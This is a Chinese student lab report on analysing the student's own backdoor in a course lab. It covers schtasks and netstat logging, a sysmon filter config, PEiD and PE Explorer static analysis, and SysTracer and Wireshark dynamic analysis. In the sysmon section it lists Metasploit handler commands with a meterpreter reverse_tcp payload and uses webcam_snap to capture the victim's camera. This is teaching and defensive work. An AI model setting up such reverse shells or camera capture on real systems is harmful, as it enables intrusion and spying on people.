20181334张怡杰《网络对抗技术》Exp4 恶意代码分析

1. 实践内容

1.1 系统运行监控

1.1.1 Windows计划任务schtasks

step1:输入以下命令,每分钟记录下有哪些程序在连接网络,并把结果记录在netstatlog.txt文档里。

schtasks /create /TN 20181334netstat /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > c:\netstatlog.txt"

参数含义如下:

  1. TN:Task Name,任务名
  2. SC: SChedule type,分钟
  3. MO: MOdifier
  4. TR: Task Run,要运行的指令是 netstat -bn,b表示显示可执行文件名,n表示以数字来显示IP和端口

step2:在C盘创建netstat1334.bat,内容如下:

date /t >> c:\netstat1334.txt
time /t >> c:\netstat1334.txt
netstat -bn >> c:\netstat1334.txt
  • 打开任务计划程序,找到刚刚的任务20181334netstat
  • 选中任务,找到操作,点击所有项里的属性选项

  • 找到操作选项卡,双击详细信息,把框中原本的cmd改成c:\netstatlog.bat

  • 打开c:\netstat1334.txt文件,可以看到了日期与时间,这样看起来更方便。

  • 一段时间后可以获得充足的数据,可以停止该任务,将netstat1334.txt中数据复制粘贴到Excel中进行分析。统计项目如下:

 打开Excel表格,选择数据-获取外部数据-自文本,在数据类型中选择分隔符号,下一步,标记所有分隔符号,点击完成

然后选择我们要分析的那一列,再选择插入-数据透视图,并默认位置新表格,点击确定

在行标签字段中去除不需要的字段(注意去掉TCP)

将该字段拖动到下方的两个区域中

  • 在分析中生成统计图,就可以清晰的看到联网信息的统计图了

可以看到chrome.exe是最多的,是谷歌浏览器,然后就是excel,都是正常的,没有异常。

1.1.2 sysmon工具

step1:下载老师提供的sysinternal,解压该文件后将sysmon.exe拷贝到文件夹

  • 这篇文章中详细列举了sysmon过滤器事件及其选项,选取了NetworkConnect中的Image、SourcePort、SourceIP、DestinationPortCreateRemoteThread中的TargetImage、SourceImage

step2:创建配置文件sysmon.xml,放在和exe文件同一个文件夹下,文件内容如下:

<Sysmon schemaversion="3.10">
   <!-- Capture all hashes -->
   <HashAlgorithms>*</HashAlgorithms>
   <EventFiltering>
     <!-- Log all drivers except if the signature 驱动加载有以下签名的都过滤 -->
     <!-- contains Microsoft or Windows -->
     <DriverLoad onmatch="exclude">
      <Signature condition="contains">microsoft</Signature>
      <Signature condition="contains">windows</Signature>
    </DriverLoad>

     <!-- 网络连接过滤以下 -->
     <NetworkConnect onmatch="exclude">             
         <!-- 可执行程序以下列结尾的 -->         
       <Image condition="end with">chrome.exe</Image>  
       <Image condition="end with">iexplorer.exe</Image>
       <!-- 源端口和IP包含下列的 -->
       <SourcePort condition="is">137</SourcePort>
       <SourceIp condition="is">127.0.0.1</SourceIp>
     </NetworkConnect>

     <NetworkConnect onmatch="include">
       <!-- 目的端口和IP包含下列的 -->
       <DestinationPort condition="is">80</DestinationPort>
       <DestinationPort condition="is">443</DestinationPort>
     </NetworkConnect>

     <!-- 创建线程记录以下 -->
     <CreateRemoteThread onmatch="include">
       <!-- 目标可执行文件以下列结尾的 -->
       <TargetImage condition="end with">explorer.exe</TargetImage>
       <TargetImage condition="end with">svchost.exe</TargetImage>
       <TargetImage condition="end with">winlogon.exe</TargetImage>
       <!-- 源可执行文件以下列结尾的 -->
       <SourceImage condition="end with">powershell.exe</SourceImage>
     </CreateRemoteThread>
   </EventFiltering>
</Sysmon>

step3:以管理员身份打开cmd,使用指令Sysmon.exe -i sysmon.xml安装sysmon。输入命令之后会弹出下面这个框,点击Agree进行安装。安装成功截图如下,我安装的版本是3.10

step4:使用sysmon

①在开始菜单搜索框中输入event,打开事件查看器。

②在应用程序和服务日志下,查看Microsoft->Windows->Sysmon->Operational

③运行实验二生成的后门文件,在kali虚拟机中打开msfconsle,获取Windows的命令行。

- use exploit/multi/handler //使用监听模块,设置payload
- set payload windows/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload
- set LHOST <Linux的IP>
- set LPORT <之前输入的端口号>
- exploit //设置完成,开始监听

④此时就可以查看到后门文件的日志了。

  • LINUX获得权限后运行shell,再刷新,可以看到日志

可以看到cmd.exe

  • 再输入webcam_snap获取摄像头,发现了Svchost.exe这个进程。

1.2 恶意软件分析

静态分析

  • 文件扫描(VirusTotal、VirusScan工具等)
  • 文件格式识别(peid、file、FileAnalyzer工具等)
  • 字符串提取(Strings工具等)
  • 反汇编(GDB、IDAPro、VC工具等)
  • 反编译(REC、DCC、JAD工具等)
  • 逻辑结构分析(Ollydbg、IDAPro工具等)
  • 加壳脱壳(UPX、VMUnPacker工具等)

动态分析

  • 快照比对(SysTracer、Filesnap、Regsnap工具等)
  • 抓包分析(WireShark工具等)
  • 行为监控(Filemon、Regmon、ProcessExplorer工具等)
  • 沙盒(NormanSandbox、CWSandbox工具等)
  • 动态跟踪调试(Ollydbg、IDAPro工具等)

1.2.1 静态分析

1.恶意代码扫描(VirusTotal网站)

  • VirusTotal在实验三中我们使用过,将后门程序上传到VirusTotal,可以从中获取详细信息,包括大小、 MD5、SHA-1、SHA-256数值以及加密壳类型等:
  • 这里使用实验二的zyj20181334_backdoor.exe,在VirusTotal进行扫描,结果如下:

可以看出它的SHA-1、MD5摘要值、文件类型、文件大小,以及TRiD文件类型识别结果

2.文件格式识别(PEiD工具)

PEiD(PE Identifier)是一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,其数量已超过470种PE文档的加壳类型和签名。

  • 下载安装(没找到官方安装,其他网站下载注意不要误点捆绑软件)

  • 将实验二生成的普通后门文件拖进去检测,可以看到没有加壳

  • 将实验三生成的加壳后门文件拖进去检测,可以看到详细的加壳信息

3.反编译、反汇编(PE Explorer工具)

PE Explorer是功能超强的可视化Delphi、C++、VB程序解析器,能快速对32位可执行程序进行反编译,并修改其中资源。

可以看到文件头信息

还能看到版本信息,有一些信息跟在VirusTotal看到的差不多

这款软件的主要功能是实现反汇编,可以在菜单栏工具->反汇编器,可以看到将该文件反汇编的结果:

还能看到数据目录、节头、调试信息等。

1.2.2 动态分析

1.快照比对(SysTracer工具)

SysTracer是一款集成HIPS以及进程行为跟踪功能的安全辅助工具,它可以跟踪并监视进程对整个系统的修改行为,包括文件操作,注册表操作,内存操作和危险行为。SysTracer可以监视全部进程,或者用户指定的某一个进程及其子进程,并提供监视日志以帮助用户对特定进程的行为进行分析。

  • 下载SysTracer,安装时选择第二个,设置端口改成1334

  •  点击创建快照,创建四个快照进行比对,分别是:
  1. Snapshot #1:不进行任何操作;
  2. Snapshot #2:运行后门程序并成功反弹连接;
  3. Snapshot #3:获取shell并获取被攻击机文件详情;
  4. Snapshot #4:退出shell。

  •  比对Snapshot #1和Snapshot #2

首先可以看到注册表进行了修改,删除修改新增了VistualDesktop的注册表项。

 

对文件进行比对,看起来应该还是注册表文件

对应用程序进行比对,还能看到刚刚运行的后门程序

 

  •  比对Snapshot #2和Snapshot #3

首先也是注册表的差异,有一堆乱码,不知道是什么。

应用程序的比对中可以看到cmd.exe,且新增了很多dll文件,推测这些dll文件与cmd有关

  •  比对Snapshot #3和Snapshot #4

退出shell,可以看到刚刚的dll文件都删除了,所以这些dll文件和shell有关的可能性非常大。

2.网络监控(Wireshark工具)

  • 开始抓包,Kali中启动监听,然后Windows回连
  • 使用IP地址过滤来查看Kali和主机的连接,还可以看到目的和源IP地址还有目的端口和包

 

SYN表示建立连接,

FIN表示关闭连接,

ACK表示响应,

PSH表示有 DATA数据传输,

RST表示连接重置。

回弹成功后在Kali输入shell,新增了很多TCP连接

发送了很多TCP包,有ACK、PSH,说明有数据传输。

2.回答问题

2.1 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。

①使用Windows计划任务schtasks,每分钟或者每小时定期记录,导入excel分析,查看端口连接、网络连接等等有无异常的情况

②使用sysmon工具,对网络连接、注册表信息等进行查看分析。

③使用sysTracer工具,截取快照并进行对比,对比恶意代码对注册表、exe可执行文件等等信息。

2.2 如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。

①使用PEiD、PE Exploer工具,查看它的具体信息,是否加壳,分析是否有违规操作。

②使用Wireshark进行抓包,看看该进程传输了什么。

3.实验体会与总结

本次实验操作性很强,安装了很多实验的软件,遇到的困难不多,有些小问题主要是SysTracer和wireshark等等软件操作的问题,但是借助于这些软件,能够比对分析恶意代码,用的恶意代码还是之前实验自己做出来的,成就感有有有,动态分析会比静态分析更为厉害一些,毕竟静态分析是既往的经验,而动态分析是在运行过程中对它的分析。

posted on 2021-04-10 22:18  20181334张怡杰  阅读(122)  评论(0编辑  收藏  举报